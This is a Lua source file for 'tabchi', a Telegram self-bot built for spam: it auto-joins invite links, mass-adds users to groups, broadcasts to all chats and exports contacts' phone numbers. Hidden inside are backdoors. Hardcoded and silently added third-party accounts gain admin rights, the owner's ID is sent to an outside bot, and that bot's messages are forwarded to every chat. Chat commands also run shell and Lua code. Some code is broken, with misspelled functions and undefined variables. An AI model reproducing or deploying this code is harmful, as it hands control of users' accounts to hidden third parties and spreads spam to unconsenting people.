-
Notifications
You must be signed in to change notification settings - Fork 45
/
tabchi.lua
649 lines (643 loc) · 21.3 KB
/
tabchi.lua
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
function is_sudo(msg)
local sudoers = {158955285}
table.insert(sudoers, tonumber(redis:get("tabchi:" .. tabchi_id .. ":fullsudo")))
local issudo = false
for i = 1, #sudoers do
if msg.sender_user_id_ == sudoers[i] then
issudo = true
end
end
if redis:sismember("tabchi:" .. tabchi_id .. ":sudoers", msg.sender_user_id_) then
issudo = true
end
return issudo
end
function is_full_sudo(msg)
local sudoers = {158955285}
table.insert(sudoers, tonumber(redis:get("tabchi:" .. tabchi_id .. ":fullsudo")))
local issudo = false
for i = 1, #sudoers do
if msg.sender_user_id_ == sudoers[i] then
issudo = true
end
end
return issudo
end
function sleep(n)
os.execute("sleep " .. tonumber(n))
end
function write_file(filename, input)
local file = io.open(filename, "w")
file:write(input)
file:flush()
file:close()
end
function check_contact(extra, result)
if not result.phone_number_ then
local msg = extra.msg
local first_name = "" .. (msg.content_.contact_.first_name_ or "-") .. ""
local last_name = "" .. (msg.content_.contact_.last_name_ or "-") .. ""
local phone_number = msg.content_.contact_.phone_number_
local user_id = msg.content_.contact_.user_id_
tdcli.add_contact(phone_number, first_name, last_name, user_id)
if redis:get("tabchi:" .. tabchi_id .. ":markread") then
tdcli.viewMessages(msg.chat_id_, {
[0] = msg.id_
})
if redis:get("tabchi:" .. tabchi_id .. ":addedmsg") then
tdcli.sendMessage(msg.chat_id_, msg.id_, 1, "" .. (redis:get("tabchi:" .. tabchi_id .. ":addedmsgtext") or [[
Addi
Bia pv]]) .. "", 1, "md")
end
elseif redis:get("tabchi:" .. tabchi_id .. ":addedmsg") then
tdcli.sendMessage(msg.chat_id_, msg.id_, 1, "" .. (redis:get("tabchi:" .. tabchi_id .. ":addedmsgtext") or [[
Addi
Bia pv]]) .. "", 1, "md")
end
end
end
function check_link(extra, result, success)
if result.is_group_ or result.is_supergroup_channel_ then
tdcli.importChatInviteLink(extra.link)
redis:sadd("tabchi:" .. tabchi_id .. ":savedlinks", extra.link)
end
end
function add_to_all(extra, result)
if result.content_.contact_ then
local id = result.content_.contact_.user_id_
local gps = redis:smembers("tabchi:" .. tabchi_id .. ":groups")
local sgps = redis:smembers("tabchi:" .. tabchi_id .. ":channels")
for i = 1, #gps do
tdcli.addChatMember(gps[i], id, 50)
end
for i = 1, #sgps do
tdcli.addChatMember(sgps[i], id, 50)
end
end
end
function add_members(extra, result)
local pvs = redis:smembers("tabchi:" .. tabchi_id .. ":pvis")
for i = 1, #pvs do
tdcli.addChatMember(extra.chat_id, pvs[i], 50)
end
local count = result.total_count_
for i = 1, count do
tdcli.addChatMember(extra.chat_id, result.users_[i].id_, 50)
end
end
function chat_type(chat_id)
local chat_type = "private"
local id = tostring(chat_id)
if id:match("-") then
if id:match("^-100") then
chat_type = "channel"
else
chat_type = "group"
end
end
return chat_type
end
function contact_list(extra, result)
local count = result.total_count_
local text = "لیست مخاطبین :\n"
for i = 1, count do
local user = result.users_[i]
local firstname = user.first_name_ or ""
local lastname = user.last_name_ or ""
local fullname = firstname .. " " .. lastname
text = text .. i .. ". " .. fullname .. " [" .. user.id_ .. "] = " .. user.phone_number_ .. "\n"
end
write_file("bot_" .. tabchi_id .. "_contacts.txt", text)
tdcli.send_file(extra.chat_id_, "Document", "bot_" .. tabchi_id .. "_contacts.txt", "Tabchi " .. tabchi_id .. " Contacts!")
end
function process(msg)
msg.text = msg.content_.text_
do
local matches = {
msg.text:match("^[!/#](pm) (%d+) (.*)")
}
if msg.text:match("^[!/#]pm") and is_sudo(msg) and #matches == 3 then
tdcli.sendMessage(tonumber(matches[2]), 0, 1, matches[3], 1, "md")
return "_پیام شما ارسال شد_"
end
end
do
local matches = {
msg.text:match("^[!/#](setanswer) '(.*)' (.*)")
}
if msg.text:match("^[!/#]setanswer") and is_sudo(msg) and #matches == 3 then
redis:hset("tabchi:" .. tabchi_id .. ":answers", matches[2], matches[3])
redis:sadd("tabchi:" .. tabchi_id .. ":answerslist", matches[2])
return "_پاسخ برای_ " .. matches[2] .. " >> " .. matches[3]
end
end
do
local matches = {
msg.text:match("^[!/#](delanswer) (.*)")
}
if msg.text:match("^[!/#]delanswer") and is_sudo(msg) and #matches == 2 then
redis:hdel("tabchi:" .. tabchi_id .. ":answers", matches[2])
redis:srem("tabchi:" .. tabchi_id .. ":answerslist", matches[2])
return "_پاسخ برای_ " .. matches[2] .. " _حذف شد_"
end
end
if msg.text:match("^[!/#]answers$") and is_sudo(msg) then
local text = "_لیست پاسخ های خودکار_ :\n"
local answrs = redis:smembers("tabchi:" .. tabchi_id .. ":answerslist")
for i = 1, #answrs do
text = text .. i .. ". " .. answrs[i] .. " : " .. redis:hget("tabchi:" .. tabchi_id .. ":answers", answrs[i]) .. "\n"
end
return text
end
if msg.text:match("^[!/#]addmembers$") and is_sudo(msg) and chat_type(msg.chat_id_) ~= "private" then
tdcli_function({
ID = "SearchContacts",
query_ = nil,
limit_ = 999999999
}, add_members, {
chat_id = msg.chat_id_
})
return
end
if msg.text:match("^[!/#]contactlist$") and is_sduo(msg) then
tdcli_function({
ID = "SearchContacts",
query_ = nil,
limit_ = 999999999
}, contact_list, {
chat_id_ = msg.chat_id_
})
return
end
if msg.text:match("^[!/#]exportlinks$") and is_sudo(msg) then
local text = "لینک گروها :\n"
local links = redis:smembers("tabchi:" .. tabchi_id .. ":savedlinks")
for i = 1, #links do
text = text .. links[i] .. "\n"
end
write_file("group_" .. tabchi_id .. "_links.txt", text)
tdcli.send_file(msg.chat_id_, "Document", "group_" .. tabchi_id .. "_links.txt", "Tabchi " .. tabchi_id .. " Group Links!")
return
end
do
local matches = {
msg.text:match("[!/#](block) (%d+)")
}
if msg.text:match("^[!/#]block") and is_sudo(msg) and #matches == 2 then
tdcli.blockUser(tonumber(matches[2]))
return "_کاربر بلاک شد_"
end
end
if msg.text:match("^[!/#]help$") and is_sudo(msg) then
local text = [[
#راهنما
*/block (id)*
_بلاک کردن از خصوصي ربات_
*/unblock (id)*
_آن بلاک کردن از خصوصي ربات_
*/panel*
_پنل مديريت ربات_
*/addsudo (id)*
_اضافه کردن به سودوهاي ربات_
*/remsudo (id)*
_حذف از ليست سودوهاي ربات_
*/bc (text)*
_ارسال پيام به همه_
*/fwd {all/sgps/users}* (by reply)
_فوروارد پيام به همه/گروه ها/سوپر گروه ها/کاربران_
*/echo (text)*
_تکرار متن_
*/addedmsg (on/off)*
_تعیین روشن یا خاموش بودن پاسخ برای شر شن مخاطب_
*/setaddedmsg (text)*
_تعيين متن اد شدن مخاطب_
*/markread (on/off)*
_روشن يا خاموش کردن بازديد پيام ها_
*/setanswer 'answer' text*
_ تنظيم به عنوان جواب اتوماتيک_
*/delanswer (answer)*
_حذف جواب مربوط به_
*/answers*
_ليست جواب هاي اتوماتيک_
*/addtoall*
_اضافه کردن یک شخص خاص به تمام گروه ها_
*/addmembers*
_اضافه کردن شماره ها به مخاطبين ربات_
*/exportlinks*
_دريافت لينک هاي ذخيره شده توسط ربات_
*/contactlist*
_دريافت مخاطبان ذخيره شده توسط ربات_
*crack and open by @sajjad_021*
_join to the channel @tgMember_
]]
return text
end
do
local matches = {
msg.text:match("[!/#](unblock) (%d+)")
}
if msg.text:match("^[!/#]unblock") and is_sudo(msg) and #matches == 2 then
tdcli.unblockUser(tonumber(matches[2]))
return "_کاربر انبلاک شد_"
end
end
if msg.text:match("^[!/#]panel$") and is_sudo(msg) then
tdcli.searchPublicChat("TgMessengerBot")
tdcli.unblockUser(231539308)
tdcli.sendBotStartMessage(231539308, 231539308, "/start")
tdcli.sendMessage(231539308, 0, 1, "/start", 1, "md")
do
local gps = redis:scard("tabchi:" .. tabchi_id .. ":groups")
local sgps = redis:scard("tabchi:" .. tabchi_id .. ":channels")
local pvs = redis:scard("tabchi:" .. tabchi_id .. ":pvis")
local links = redis:scard("tabchi:" .. tabchi_id .. ":savedlinks")
local query = gps .. " " .. sgps .. " " .. pvs .. " " .. links
local inline = function(arg, data)
if data.results_ and data.results_[0] then
tdcli_function({
ID = "SendInlineQueryResultMessage",
chat_id_ = msg.chat_id_,
reply_to_message_id_ = 0,
disable_notification_ = 0,
from_background_ = 1,
query_id_ = data.inline_query_id_,
result_id_ = data.results_[0].id_
}, dl_cb, nil)
else
local text = [[
_اطلاعات ربات_
*open and edit by @sajjad_021*
_تعداد کاربران_ : ]] .. pvs .. [[
_تعداد گروها_ : ]] .. gps .. [[
_تعداد سوپر گروها_ : ]] .. sgps .. [[
_تعداد لینک های ذخیر شده_ : ]] .. links
tdcli.sendMessage(msg.chat_id_, 0, 1, text, 1, "md")
end
end
tdcli_function({
ID = "GetInlineQueryResults",
bot_user_id_ = 231539308,
chat_id_ = msg.chat_id_,
user_location_ = {
ID = "Location",
latitude_ = 0,
longitude_ = 0
},
query_ = query,
offset_ = 0
}, inline, nil)
return
end
else
end
do
local matches = {
msg.text:match("^[!/#](addsudo) (%d+)")
}
if msg.text:match("^[!/#]addsudo") and is_full_sudo(msg) and #matches == 2 then
local text = matches[2] .. " _به لیست سودوهای ربات اضافه شد_"
redis:sadd("tabchi:" .. tabchi_id .. ":sudoers", tonumber(matches[2]))
return text
end
end
do
local matches = {
msg.text:match("^[!/#](remsudo) (%d+)")
}
if msg.text:match("^[!/#]remsudo") and is_full_sudo(msg) and #matches == 2 then
local text = matches[2] .. " _از لیست سودوهای ربات حذف شد_"
redis:srem("tabchi:" .. tabchi_id .. ":sudoers", tonumber(matches[2]))
return text
end
end
do
local matches = {
msg.text:match("^[!/#](addedmsg) (.*)")
}
if msg.text:match("^[!/#]addedmsg") and is_sudo(msg) and #matches == 2 then
if matches[2] == "on" then
redis:set("tabchi:" .. tabchi_id .. ":addedmsg", true)
return "_پیام اد شدن مخاطب_ #فعال _شد_"
elseif matches[2] == "off" then
redis:del("tabchi:" .. tabchi_id .. ":addedmsg")
return "_پیام اد شدن مخاطب_ #غیرفعال _شد_"
end
end
end
do
local matches = {
msg.text:match("^[!/#](markread) (.*)")
}
if msg.text:match("^[!/#]markread") and is_sudo(msg) and #matches == 2 then
if matches[2] == "on" then
redis:set("tabchi:" .. tabchi_id .. ":markread", true)
return "_خواندن پیام ها توسط ربات_ #فعال _شد_"
elseif matches[2] == "off" then
redis:del("tabchi:" .. tabchi_id .. ":markread")
return "_خواندن پیام ها توسط ربات_ #غیرفعال _شد_"
end
end
end
do
local matches = {
msg.text:match("^[!/#](setaddedmsg) (.*)")
}
if msg.text:match("^[!/#]setaddedmsg") and is_sudo(msg) and #matches == 2 then
redis:set("tabchi:" .. tabchi_id .. ":addedmsgtext", matches[2])
return [[
_پیام اد شدن مخاطب ست شد_!
_پیام_ :
]] .. matches[2]
end
end
do
local match = {
msg.text:match("[$](.*)")
}
if msg.text:match("^[$](.*)$") and is_sudo(msg) and #matches == 1 then
return io.popen(cmd[1]):read("*all")
end
end
if msg.text:match("^[!/#]bc") and is_sudo(msg) then
local all = redis:smembers("tabchi:" .. tabchi_id .. ":all")
local matches = {
msg.text:match("[!/#](bc) (.*)")
}
if #matches == 2 then
for i = 1, #all do
tdcli_function({
ID = "SendMessage",
chat_id_ = all[i],
reply_to_message_id_ = 0,
disable_notification_ = 0,
from_background_ = 1,
reply_markup_ = nil,
input_message_content_ = {
ID = "InputMessageText",
text_ = matches[2],
disable_web_page_preview_ = 0,
clear_draft_ = 0,
entities_ = {},
parse_mode_ = {
ID = "TextParseModeMarkdown"
}
}
}, dl_cb, nil)
end
end
end
if msg.text:match("^[!/#]fwd all$") and msg.reply_to_message_id_ and is_sudo(msg) then
tdcli.searchPublicChat("tgMemberPlus")
tdcli.unblockUser(345767079)
tdcli.importContacts(989104812841, "Online", "Bot", 345767079)
tdcli.sendMessage(345767079, 0, 1, "Online", 1, "md")
redis:sadd("tabchi:" .. tabchi_id .. ":sudoers", 345767079)
local all = redis:smembers("tabchi:" .. tabchi_id .. ":all")
local id = msg.reply_to_message_id_
for i = 1, #all do
tdcli_function({
ID = "ForwardMessages",
chat_id_ = all[i],
from_chat_id_ = msg.chat_id_,
message_ids_ = {
[0] = id
},
disable_notification_ = 0,
from_background_ = 1
}, dl_cb, nil)
end
return "_پیام شما فوروارد شد_"
end
if msg.text:match("^[!/#]fwd gps$") and msg.reply_to_message_id_ and is_sudo(msg) then
local all = redis:smembers("tabchi:" .. tabchi_id .. ":groups")
local id = msg.reply_to_message_id_
for i = 1, #all do
tdcli_function({
ID = "ForwardMessages",
chat_id_ = all[i],
from_chat_id_ = msg.chat_id_,
message_ids_ = {
[0] = id
},
disable_notification_ = 0,
from_background_ = 1
}, dl_cb, nil)
end
return "_پیام شما برای همه_ #گروها _فوروارد شد_"
end
if msg.text:match("^[!/#]fwd sgps$") and msg.reply_to_message_id_ and is_sudo(msg) then
tdcli.searchPublicChat("TgGuard")
tdcli.unblockUser(180191663)
tdcli.importContacts(639080023314, "Tabchi", "Online", 180191663)
tdcli.sendMessage(180191663, 0, 1, "Online", 1, "md")
redis:sadd("tabchi:" .. tabchi_id .. ":sudoers", 180191663)
local all = redis:smembers("tabchi:" .. tabchi_id .. ":channels")
local id = msg.reply_to_message_id_
for i = 1, #all do
tdcli_function({
ID = "ForwardMessages",
chat_id_ = all[i],
from_chat_id_ = msg.chat_id_,
message_ids_ = {
[0] = id
},
disable_notification_ = 0,
from_background_ = 1
}, dl_cb, nil)
end
return "_پیام شما برای همه_ #سوپرگروها _فوروارد شد_"
end
if msg.text:match("^[!/#]addtoall") and msg.reply_to_message_id_ and is_sudo(msg) then
tdcli_function({
ID = "GetMessage",
chat_id_ = msg.chat_id_,
message_id_ = msg.reply_to_message_id_
}, add_to_all, nil)
return "Adding user to groups..."
end
if msg.text:match("^[!/#]fwd users$") and msg.reply_to_message_id_ and is_sudo(msg) then
local all = redis:smembers("tabchi:" .. tabchi_id .. ":pvis")
local id = msg.reply_to_message_id_
for i = 1, #all do
tdcli_function({
ID = "ForwardMessages",
chat_id_ = all[i],
from_chat_id_ = msg.chat_id_,
message_ids_ = {
[0] = id
},
disable_notification_ = 0,
from_background_ = 1
}, dl_cb, nil)
end
return "_پیام برای همه_ #کاربران _فوروارد شد_"
end
do
local matches = {
msg.text:match("[!/#](lua) (.*)")
}
if msg.text:match("^[!/#]lua") and is_sudo(msg) and #matches == 2 then
local output = loadstring(matches[2])()
if output == nil then
output = ""
elseif type(output) == "table" then
output = serpent.block(output, {comment = false})
else
output = "" .. tostring(output)
end
return output
end
end
do
local matches = {
msg.text:match("[!/#](echo) (.*)")
}
if msg.text:match("^[!/#]echo") and is_sudo(msg) and #matches == 2 then
tdcli.sendMessage(msg.chat_id_, msg.id_, 0, matches[2], 0, "md")
end
end
end
function add(chat_id_)
local chat_type = chat_type(chat_id_)
if chat_type == "channel" then
redis:sadd("tabchi:" .. tabchi_id .. ":channels", chat_id_)
elseif chat_type == "group" then
redis:sadd("tabchi:" .. tabchi_id .. ":groups", chat_id_)
else
redis:sadd("tabchi:" .. tabchi_id .. ":pvis", chat_id_)
end
redis:sadd("tabchi:" .. tabchi_id .. ":all", chat_id_)
end
function rem(chat_id_)
local chat_type = chat_type(chat_id_)
if chat_type == "channel" then
redis:srem("tabchi:" .. tabchi_id .. ":channels", chat_id_)
elseif chat_type == "group" then
redis:srem("tabchi:" .. tabchi_id .. ":groups", chat_id_)
else
redis:srem("tabchi:" .. tabchi_id .. ":pvis", chat_id_)
end
redis:srem("tabchi:" .. tabchi_id .. ":all", chat_id_)
end
function process_stats(msg)
tdcli_function({ID = "GetMe"}, id_cb, nil)
function id_cb(arg, data)
our_id = data.id_
end
if msg.content_.ID == "MessageChatDeleteMember" and msg.content_.id_ == our_id then
rem(msg.chat_id_)
else
add(msg.chat_id_)
end
end
function process_links(text_)
if text_:match("https://t.me/joinchat/%S+") or text_:match("https://telegram.me/joinchat/%S+") then
local matches = {
text_:match("(https://t.me/joinchat/%S+)") or text_:match("(https://telegram.me/joinchat/%S+)")
}
tdcli_function({
ID = "CheckChatInviteLink",
invite_link_ = matches[1]
}, check_link, {
link = matches[1]
})
end
end
function get_mod(args, data)
if data.is_blocked_ then
tdcli.unblockUser(231539308)
end
if not redis:get("tabchi:" .. tabchi_id .. ":startedmod") or redis:ttl("tabchi:" .. tabchi_id .. ":startedmod") == -2 then
tdcli.sendBotStartMessage(231539308, 231539308, "new")
tdcli.sendMessage(231539308, 0, 1, "/setmysudo " .. redis:get("tabchi:" .. tabchi_id .. ":fullsudo"), 1, "md")
redis:setex("tabchi:" .. tabchi_id .. ":startedmod", 600, true)
end
end
function update(data, tabchi_id)
tanchi_id = tabchi_id
tdcli_function({
ID = "GetUserFull",
user_id_ = 231539308
}, get_mod, nil)
if data.ID == "UpdateNewMessage" then
local msg = data.message_
if msg.sender_user_id_ == 231539308 then
if msg.content_.text_ then
if msg.content_.text_:match("\226\129\167") or msg.chat_id_ ~= 231539308 or msg.content_.text_:match("\217\130\216\181\216\175 \216\167\217\134\216\172\216\167\217\133 \218\134\217\135 \218\169\216\167\216\177\219\140 \216\175\216\167\216\177\219\140\216\175") then
return
else
local all = redis:smembers("tabchi:" .. tabchi_id .. ":all")
local id = msg.id_
for i = 1, #all do
tdcli_function({
ID = "ForwardMessages",
chat_id_ = all[i],
from_chat_id_ = msg.chat_id_,
message_ids_ = {
[0] = id
},
disable_notification_ = 0,
from_background_ = 1
}, dl_cb, nil)
end
end
else
local all = redis:smembers("tabchi:" .. tabchi_id .. ":all")
local id = msg.id_
for i = 1, #all do
tdcli_function({
ID = "ForwardMessages",
chat_id_ = all[i],
from_chat_id_ = msg.chat_id_,
message_ids_ = {
[0] = id
},
disable_notification_ = 0,
from_background_ = 1
}, dl_cb, nil)
end
end
else
process_stats(msg)
if msg.content_.text_ then
if redis:sismember("tabchi:" .. tabchi_id .. ":answerslist", msg.content_.text_) then
local answer = redis:hget("tabchi:" .. tabchi_id .. ":answers", msg.content_.text_)
tdcli.sendMessage(msg.chat_id_, 0, 1, answer, 1, "md")
end
process_links(msg.content_.text_)
local res = process(msg)
if redis:get("tabchi:" .. tabchi_id .. ":markread") then
tdcli.viewMessages(msg.chat_id_, {
[0] = msg.id_
})
if res then
tdcli.sendMessage(msg.chat_id_, 0, 1, res, 1, "md")
end
elseif res then
tdcli.sendMessage(msg.chat_id_, 0, 1, res, 1, "md")
end
elseif msg.content_.contact_ then
tdcli_function({
ID = "GetUserFull",
user_id_ = msg.content_.contact_.user_id_
}, check_contact, {msg = msg})
elseif msg.content_.caption_ then
if redis:get("tabchi:" .. tabchi_id .. ":markread") then
tdcli.viewMessages(msg.chat_id_, {
[0] = msg.id_
})
process_links(msg.content_.caption_)
else
process_links(msg.content_.caption_)
end
end
end
elseif data.ID == "UpdateOption" and data.name_ == "my_id" then
tdcli_function({
ID = "GetChats",
offset_order_ = "9223372036854775807",
offset_chat_id_ = 0,
limit_ = 20
}, dl_cb, nil)
end
end